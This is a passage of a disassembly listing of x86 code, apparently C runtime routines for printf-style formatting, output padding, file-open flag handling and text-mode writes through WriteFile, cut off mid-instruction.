loc_40A1C1 jl short loc_40A1AC test eax, eax jnb short loc_40A1C1 loc_40A1AC: ; CODE XREF: sub_409FC0+1E6j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_40A1FF ; --------------------------------------------------------------------------- loc_40A1C1: ; CODE XREF: sub_409FC0+1E4j ; sub_409FC0+1EAj mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_40A1E1 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_40A1FF ; --------------------------------------------------------------------------- loc_40A1E1: ; CODE XREF: sub_409FC0+20Aj mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_40A1FF mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_40A1FF: ; CODE XREF: sub_409FC0+1FFj ; sub_409FC0+21Fj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B390 add esp, 8 jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A223: ; CODE XREF: sub_409FC0+34j ; DATA XREF: DMN0:0040FDC0o ... mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_40A245 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_40A2B6 ; --------------------------------------------------------------------------- loc_40A245: ; CODE XREF: sub_409FC0+26Aj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_40A266 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A266: ; CODE XREF: sub_409FC0+28Cj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_40A287 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_40A29E ; --------------------------------------------------------------------------- loc_40A287: ; CODE XREF: sub_409FC0+2ADj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_40A29E: ; CODE XREF: sub_409FC0+2C5j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_40A2AA: ; CODE XREF: sub_409FC0+2A4j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_40A2B6: ; CODE XREF: sub_409FC0+283j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_40A2E5 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_40A328 ; --------------------------------------------------------------------------- loc_40A2E5: ; CODE XREF: sub_409FC0+308j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_40A309 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_40A328 ; --------------------------------------------------------------------------- loc_40A309: ; CODE XREF: sub_409FC0+32Cj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_40A317 cmp al, 7Ah jnz short loc_40A328 loc_40A317: ; CODE XREF: sub_409FC0+351j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx xor ebx, ebx mov [eax], ecx mov [eax+4], ebx loc_40A328: ; CODE XREF: sub_409FC0+323j ; sub_409FC0+347j ... mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_40A373 mov edx, [eax+4] mov eax, [eax] test edx, edx jnz short loc_40A340 test eax, eax jz short loc_40A373 loc_40A340: ; CODE XREF: sub_409FC0+37Aj mov al, [ebp+arg_8] cmp al, 78h jz short loc_40A34B cmp al, 58h jnz short loc_40A373 loc_40A34B: ; CODE XREF: sub_409FC0+385j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov cl, [ebp+arg_8] mov [eax+edx], cl loc_40A373: ; CODE XREF: sub_409FC0+371j ; sub_409FC0+37Ej ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B390 add esp, 8 jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A397: ; DATA XREF: DMN0:0040FD6Co ; DMN0:0040FD7Co ... mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 4Ch jnz short loc_40A3B2 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] jmp short loc_40A3C2 ; --------------------------------------------------------------------------- loc_40A3B2: ; CODE XREF: sub_409FC0+3DEj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] loc_40A3C2: ; CODE XREF: sub_409FC0+3F0j fld [ebp+var_20] fstp qword ptr [eax] mov eax, [ebp+arg_0] push eax call sub_40B5D0 pop ecx cmp ax, 2 jz short loc_40A435 mov eax, [ebp+arg_0] test word ptr [eax+6], 8000h jz short loc_40A3F7 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_40A435 ; --------------------------------------------------------------------------- loc_40A3F7: ; CODE XREF: sub_409FC0+420j mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_40A417 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_40A435 ; --------------------------------------------------------------------------- loc_40A417: ; CODE XREF: sub_409FC0+440j mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_40A435 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_40A435: ; CODE XREF: sub_409FC0+415j ; sub_409FC0+435j ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B5E0 add esp, 8 jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A459: ; DATA XREF: DMN0:0040FDBCo mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+3Ah] mov [ebp+var_24], eax cmp eax, 68h jz loc_40A542 cmp eax, 6Ah jz short loc_40A4EA cmp eax, 6Ch jz loc_40A55D jg short loc_40A487 cmp [ebp+var_24], 62h jz short loc_40A4AC jmp loc_40A577 ; --------------------------------------------------------------------------- loc_40A487: ; CODE XREF: sub_409FC0+4BAj mov eax, [ebp+var_24] cmp eax, 71h jz short loc_40A4C6 cmp eax, 74h jz short loc_40A50E cmp eax, 71h jl loc_40A577 cmp [ebp+var_24], 7Ah jz loc_40A528 jmp loc_40A577 ; --------------------------------------------------------------------------- loc_40A4AC: ; CODE XREF: sub_409FC0+4C0j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], al jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A4C6: ; CODE XREF: sub_409FC0+4CDj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A4EA: ; CODE XREF: sub_409FC0+4AFj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A50E: ; CODE XREF: sub_409FC0+4D2j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A528: ; CODE XREF: sub_409FC0+4E1j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A542: ; CODE XREF: sub_409FC0+4A6j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], ax jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A55D: ; CODE XREF: sub_409FC0+4B4j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409FC0+4C2j ; sub_409FC0+4D7j ... mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A591: ; DATA XREF: DMN0:0040FDC4o mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [ebp+arg_0] mov edx, [edx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] xor ebx, ebx mov [eax], ecx mov [eax+4], ebx mov edx, [ebp+arg_0] mov dword ptr [edx+34h], 8 mov eax, [ebp+arg_0] or word ptr [eax+38h], 10h mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx push 78h mov eax, [ebp+arg_0] push eax call sub_40B390 add esp, 8 jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A5EF: ; DATA XREF: DMN0:0040FDD0o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz loc_40A68F mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [ebp+var_2C], edx mov [eax], edx mov edx, [ebp+arg_0] mov eax, [ebp+var_2C] mov eax, [eax-4] mov [edx+10h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_40A628 mov edx, [ebp+arg_0] mov dword ptr [edx+10h], offset dword_40FDE8 loc_40A628: ; CODE XREF: sub_409FC0+65Cj mov eax, [ebp+arg_0] mov [ebp+var_38], eax cmp dword ptr [eax+2Ch], 0 jge short loc_40A649 mov edx, [ebp+arg_0] mov edx, [edx+10h] or eax, 0FFFFFFFFh loc_40A63D: ; CODE XREF: sub_409FC0+682j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_40A63D mov [ebp+var_30], eax jmp short loc_40A684 ; --------------------------------------------------------------------------- loc_40A649: ; CODE XREF: sub_409FC0+672j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] push edx push 0 mov eax, [eax+10h] push eax call sub_409330 add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_40A675 mov eax, [ebp+var_28] mov edx, [ebp+arg_0] mov edx, [edx+10h] sub eax, edx mov [ebp+var_34], eax jmp short loc_40A67E ; --------------------------------------------------------------------------- loc_40A675: ; CODE XREF: sub_409FC0+6A3j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+var_34], eax loc_40A67E: ; CODE XREF: sub_409FC0+6B3j mov eax, [ebp+var_34] mov [ebp+var_30], eax loc_40A684: ; CODE XREF: sub_409FC0+687j mov eax, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+1Ch], eax jmp short loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A68F: ; CODE XREF: sub_409FC0+636j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] push eax mov eax, [ebp+arg_0] push eax call sub_40B240 add esp, 8 test eax, eax jge short loc_40A6F2 or eax, 0FFFFFFFFh jmp short loc_40A6F4 ; --------------------------------------------------------------------------- loc_40A6B2: ; CODE XREF: sub_409FC0+23j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 25h jmp short loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A6C7: ; CODE XREF: sub_409FC0+29j ; sub_409FC0+3Aj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx cmp [ebp+arg_8], 0 jz short loc_40A6E2 movzx eax, [ebp+arg_8] mov [ebp+var_28], eax jmp short loc_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E2: ; CODE XREF: sub_409FC0+717j mov [ebp+var_28], 25h loc_40A6E9: ; CODE XREF: sub_409FC0+720j mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax+edx], cl loc_40A6F2: ; CODE XREF: sub_409FC0+84j ; sub_409FC0+BDj ... xor eax, eax loc_40A6F4: ; CODE XREF: sub_409FC0+C6j ; sub_409FC0+6F0j pop ebx mov esp, ebp pop ebp retn sub_409FC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A700 proc near ; CODE XREF: sub_408B70+25Ap ; sub_40B240+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, [ebx+34h] sub eax, [ebx+14h] sub eax, [ebx+18h] sub eax, [ebx+1Ch] sub eax, [ebx+20h] sub eax, [ebx+24h] sub eax, [ebx+28h] mov [ebp+var_4], eax test word ptr [ebx+38h], 4 jnz short loc_40A77F cmp [ebp+var_4], 0 jle short loc_40A77F mov esi, [ebp+var_4] jmp short loc_40A77B ; --------------------------------------------------------------------------- loc_40A737: ; CODE XREF: sub_40A700+7Dj cmp esi, 20h jbe short loc_40A745 mov [ebp+var_8], 20h jmp short loc_40A74A ; --------------------------------------------------------------------------- loc_40A745: ; CODE XREF: sub_40A700+3Aj mov eax, esi mov [ebp+var_8], eax loc_40A74A: ; CODE XREF: sub_40A700+43j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A779 push edi push offset asc_40FDF0 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A771 add [ebx+30h], edi jmp short loc_40A779 ; --------------------------------------------------------------------------- loc_40A771: ; CODE XREF: sub_40A700+6Aj or eax, 0FFFFFFFFh jmp loc_40A967 ; --------------------------------------------------------------------------- loc_40A779: ; CODE XREF: sub_40A700+51j ; sub_40A700+6Fj sub esi, edi loc_40A77B: ; CODE XREF: sub_40A700+35j test esi, esi jg short loc_40A737 loc_40A77F: ; CODE XREF: sub_40A700+2Aj ; sub_40A700+30j cmp dword ptr [ebx+14h], 0 jle short loc_40A7B0 mov eax, [ebx+14h] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A7A8 mov eax, [ebx+14h] add [ebx+30h], eax jmp short loc_40A7B0 ; --------------------------------------------------------------------------- loc_40A7A8: ; CODE XREF: sub_40A700+9Ej or eax, 0FFFFFFFFh jmp loc_40A967 ; --------------------------------------------------------------------------- loc_40A7B0: ; CODE XREF: sub_40A700+83j ; sub_40A700+A6j cmp dword ptr [ebx+18h], 0 jle short loc_40A803 mov esi, [ebx+18h] jmp short loc_40A7FF ; --------------------------------------------------------------------------- loc_40A7BB: ; CODE XREF: sub_40A700+101j cmp esi, 20h jbe short loc_40A7C9 mov [ebp+var_8], 20h jmp short loc_40A7CE ; --------------------------------------------------------------------------- loc_40A7C9: ; CODE XREF: sub_40A700+BEj mov eax, esi mov [ebp+var_8], eax loc_40A7CE: ; CODE XREF: sub_40A700+C7j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A7FD push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A7F5 add [ebx+30h], edi jmp short loc_40A7FD ; --------------------------------------------------------------------------- loc_40A7F5: ; CODE XREF: sub_40A700+EEj or eax, 0FFFFFFFFh jmp loc_40A967 ; --------------------------------------------------------------------------- loc_40A7FD: ; CODE XREF: sub_40A700+D5j ; sub_40A700+F3j sub esi, edi loc_40A7FF: ; CODE XREF: sub_40A700+B9j test esi, esi jg short loc_40A7BB loc_40A803: ; CODE XREF: sub_40A700+B4j cmp dword ptr [ebx+1Ch], 0 jle short loc_40A834 mov eax, [ebx+1Ch] push eax mov eax, [ebx+10h] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A82C mov eax, [ebx+1Ch] add [ebx+30h], eax jmp short loc_40A834 ; --------------------------------------------------------------------------- loc_40A82C: ; CODE XREF: sub_40A700+122j or eax, 0FFFFFFFFh jmp loc_40A967 ; --------------------------------------------------------------------------- loc_40A834: ; CODE XREF: sub_40A700+107j ; sub_40A700+12Aj cmp dword ptr [ebx+20h], 0 jle short loc_40A887 mov esi, [ebx+20h] jmp short loc_40A883 ; --------------------------------------------------------------------------- loc_40A83F: ; CODE XREF: sub_40A700+185j cmp esi, 20h jbe short loc_40A84D mov [ebp+var_8], 20h jmp short loc_40A852 ; --------------------------------------------------------------------------- loc_40A84D: ; CODE XREF: sub_40A700+142j mov eax, esi mov [ebp+var_8], eax loc_40A852: ; CODE XREF: sub_40A700+14Bj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A881 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A879 add [ebx+30h], edi jmp short loc_40A881 ; --------------------------------------------------------------------------- loc_40A879: ; CODE XREF: sub_40A700+172j or eax, 0FFFFFFFFh jmp loc_40A967 ; --------------------------------------------------------------------------- loc_40A881: ; CODE XREF: sub_40A700+159j ; sub_40A700+177j sub esi, edi loc_40A883: ; CODE XREF: sub_40A700+13Dj test esi, esi jg short loc_40A83F loc_40A887: ; CODE XREF: sub_40A700+138j cmp dword ptr [ebx+24h], 0 jle short loc_40A8BD mov eax, [ebx+24h] push eax mov eax, [ebx+1Ch] mov edx, [ebx+10h] add eax, edx push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A8B5 mov eax, [ebx+24h] add [ebx+30h], eax jmp short loc_40A8BD ; --------------------------------------------------------------------------- loc_40A8B5: ; CODE XREF: sub_40A700+1ABj or eax, 0FFFFFFFFh jmp loc_40A967 ; --------------------------------------------------------------------------- loc_40A8BD: ; CODE XREF: sub_40A700+18Bj ; sub_40A700+1B3j cmp dword ptr [ebx+28h], 0 jle short loc_40A90D mov esi, [ebx+28h] jmp short loc_40A909 ; --------------------------------------------------------------------------- loc_40A8C8: ; CODE XREF: sub_40A700+20Bj cmp esi, 20h jbe short loc_40A8D6 mov [ebp+var_8], 20h jmp short loc_40A8DB ; --------------------------------------------------------------------------- loc_40A8D6: ; CODE XREF: sub_40A700+1CBj mov eax, esi mov [ebp+var_8], eax loc_40A8DB: ; CODE XREF: sub_40A700+1D4j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A907 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A902 add [ebx+30h], edi jmp short loc_40A907 ; --------------------------------------------------------------------------- loc_40A902: ; CODE XREF: sub_40A700+1FBj or eax, 0FFFFFFFFh jmp short loc_40A967 ; --------------------------------------------------------------------------- loc_40A907: ; CODE XREF: sub_40A700+1E2j ; sub_40A700+200j sub esi, edi loc_40A909: ; CODE XREF: sub_40A700+1C6j test esi, esi jg short loc_40A8C8 loc_40A90D: ; CODE XREF: sub_40A700+1C1j test word ptr [ebx+38h], 4 jz short loc_40A965 cmp [ebp+var_4], 0 jle short loc_40A965 mov esi, [ebp+var_4] jmp short loc_40A961 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A700+263j cmp esi, 20h jbe short loc_40A92E mov [ebp+var_8], 20h jmp short loc_40A933 ; --------------------------------------------------------------------------- loc_40A92E: ; CODE XREF: sub_40A700+223j mov eax, esi mov [ebp+var_8], eax loc_40A933: ; CODE XREF: sub_40A700+22Cj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A95F push edi push offset asc_40FDF0 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A95A add [ebx+30h], edi jmp short loc_40A95F ; --------------------------------------------------------------------------- loc_40A95A: ; CODE XREF: sub_40A700+253j or eax, 0FFFFFFFFh jmp short loc_40A967 ; --------------------------------------------------------------------------- loc_40A95F: ; CODE XREF: sub_40A700+23Aj ; sub_40A700+258j sub esi, edi loc_40A961: ; CODE XREF: sub_40A700+21Ej test esi, esi jg short loc_40A920 loc_40A965: ; CODE XREF: sub_40A700+213j ; sub_40A700+219j xor eax, eax loc_40A967: ; CODE XREF: sub_40A700+74j ; sub_40A700+ABj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40A700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A970 proc near ; CODE XREF: sub_408EB0+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_4] mov eax, ebx and eax, 3 mov esi, dword_40FE34[eax*4] test ebx, 4 jz short loc_40A98F or esi, 8 loc_40A98F: ; CODE XREF: sub_40A970+1Aj test ebx, 8 jz short loc_40A99D or esi, 200h loc_40A99D: ; CODE XREF: sub_40A970+25j test ebx, 10h jz short loc_40A9AB or esi, 100h loc_40A9AB: ; CODE XREF: sub_40A970+33j test ebx, 20h jz short loc_40A9BB or esi, 8000h jmp short loc_40A9C1 ; --------------------------------------------------------------------------- loc_40A9BB: ; CODE XREF: sub_40A970+41j or esi, 4000h loc_40A9C1: ; CODE XREF: sub_40A970+49j push 180h push esi mov eax, [ebp+arg_0] push eax call sub_40BC40 add esp, 0Ch pop esi pop ebx pop ebp retn sub_40A970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40A9E0 proc near ; CODE XREF: sub_409000+Dp push 6 call sub_40C050 pop ecx push 1 call sub_407D70 pop ecx retn sub_40A9E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA00 proc near ; CODE XREF: sub_40ABF0+4Bp ; sub_40CFE0+ADp var_411 = byte ptr -411h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_8], 0 jnz short loc_40AA27 xor eax, eax jmp loc_40ABE9 ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40AA00+1Ej mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] test byte ptr [eax+edx+4], 20h jz short loc_40AA53 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_40C180 add esp, 0Ch loc_40AA53: ; CODE XREF: sub_40AA00+41j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] test byte ptr [eax+edx+4], 80h jz loc_40AB34 mov esi, [ebp+arg_4] mov [ebp+var_10], 0 jmp loc_40AB20 ; --------------------------------------------------------------------------- loc_40AA82: ; CODE XREF: sub_40AA00+12Cj lea edi, [ebp+var_411] jmp short loc_40AAA2 ; --------------------------------------------------------------------------- loc_40AA8A: ; CODE XREF: sub_40AA00+C0j mov eax, esi inc esi mov bl, [eax] cmp bl, 0Ah jnz short loc_40AA9D inc [ebp+var_4] mov eax, edi inc edi mov byte ptr [eax], 0Dh loc_40AA9D: ; CODE XREF: sub_40AA00+92j mov eax, edi inc edi mov [eax], bl loc_40AAA2: ; CODE XREF: sub_40AA00+88j lea eax, [ebp+var_411] mov edx, edi sub edx, eax cmp edx, 400h jge short loc_40AAC2 mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb short loc_40AA8A loc_40AAC2: ; CODE XREF: sub_40AA00+B2j push 0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_411] mov edx, edi sub edx, eax mov eax, edx push eax lea eax, [ebp+var_411] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] mov eax, [eax+edx] push eax call dword_411E0C ; WriteFile test eax, eax jz short loc_40AB15 mov eax, [ebp+var_8] add [ebp+var_C], eax lea edx, [ebp+var_411] mov ecx, edi sub ecx, edx cmp eax, ecx jge short loc_40AB20 jmp short loc_40AB7D ; --------------------------------------------------------------------------- loc_40AB15: ; CODE XREF: sub_40AA00+FDj call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax jmp short loc_40AB7D ; --------------------------------------------------------------------------- loc_40AB20: ; CODE XREF: sub_40AA00+7Dj ; sub_40AA00+111j mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb loc_40AA82 jmp short loc_40AB7D ; --------------------------------------------------------------------------- loc_40AB34: ; CODE XREF: sub_40AA00+6Dj push 0 lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] mov eax, [eax+edx] push eax call dword_411E0C ; WriteFile test eax, eax jz short loc_40AB74 mov [ebp+var_10], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_40AB7D ; --------------------------------------------------------------------------- loc_40AB74: ; CODE XREF: sub_40AA00+163j call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_40AB7D: ; CODE XREF: sub_40AA00+113j ; sub_40AA00+11Ej ... cmp [ebp+var_C], 0 jnz short loc_40ABE3 cmp [ebp+var_10], 0 jz short loc_40ABAB cmp [ebp+var_10], 5 jnz short loc_40AB9C call sub_408730 mov dword ptr [eax], 9 jmp short loc_40ABA6 ; --------------------------------------------------------------------------- loc_40AB9C: ; CODE XREF: sub_40AA00+18Dj mov eax, [ebp+var_10] push eax call sub_4085D0 pop ecx loc_40ABA6: ; CODE XREF: sub_40AA00+19Aj or eax, 0FFFFFFFFh jmp short loc_40ABE9 ; --------------------------------------------------------------------------- loc_40ABAB: ; CODE XREF: sub_40AA00+187j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] test byte ptr [eax+edx+4], 40h jz short loc_40ABD3 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_40ABD3 xor eax, eax jmp short 